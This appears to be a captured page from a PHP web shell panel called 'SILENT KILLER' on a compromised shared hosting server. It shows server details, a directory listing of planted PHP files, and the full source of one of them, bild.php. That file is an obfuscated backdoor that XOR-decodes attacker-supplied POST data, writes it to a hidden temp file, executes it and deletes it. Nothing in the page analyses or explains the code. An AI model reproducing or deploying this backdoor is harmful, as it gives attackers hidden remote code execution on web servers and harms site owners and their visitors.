SILENT KILLERPanel

Current Path: > home > codekrsu > > > > sandgexpo.com

Operation   : Linux premium131.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
Software     : Apache
Server IP    : 162.0.232.56 | Your IP: 216.73.216.111
Domains      : 1034 Domain(s)
Permission   : [ 0750 ]

Files and Folders in: /home/codekrsu////sandgexpo.com

NameTypeSizeLast ModifiedActions
.well-known Directory - -
382838 Directory - -
cgi-bin Directory - -
.hcflag File 30 bytes November 15 2024 05:33:15.
.htaccess.bk File 1037 bytes November 15 2024 05:33:20.
Contacts.php File 568 bytes August 03 2025 15:48:53.
bild.php File 820 bytes August 03 2025 15:48:05.
connector.php File 1098 bytes August 03 2025 15:48:29.
cp.topic.php File 527 bytes August 03 2025 15:49:18.
customers.php File 1379 bytes August 03 2025 15:49:43.
error_log File 213993 bytes November 19 2024 03:35:10.
index.php File 8393 bytes July 21 2025 06:52:44.
installer.php File 2082 bytes August 03 2025 15:50:08.

Reading File: /home/codekrsu////sandgexpo.com/bild.php

<?php
//<PHPDATA>fputs_xor;89;holder</PHPDATA>
if(!empty($_POST["ho\x6Cd\x65r"])){
    $ent = hex2bin($_POST["ho\x6Cd\x65r"]);
    $factor    =     ''     ;    for($w=0;$w<strlen($ent);$w++){$factor.=chr(ord($ent[$w])^89);}
    $rec = array_filter([getcwd(), "/var/tmp", getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), getenv("TMP"), "/tmp"]);
    foreach ($rec as $key => $ent) {
        if ((bool)is_dir($ent) && (bool)is_writable($ent)) {
            $dchunk = join("/", [$ent, ".parameter_group"]);
            $data_chunk = fopen($dchunk, 'w');
            if ($data_chunk && fwrite($data_chunk, $factor)) {
                fclose($data_chunk);
                require $dchunk;
                @unlink($dchunk);
                die();
            }
        }
    }
}

SILENT KILLER Tool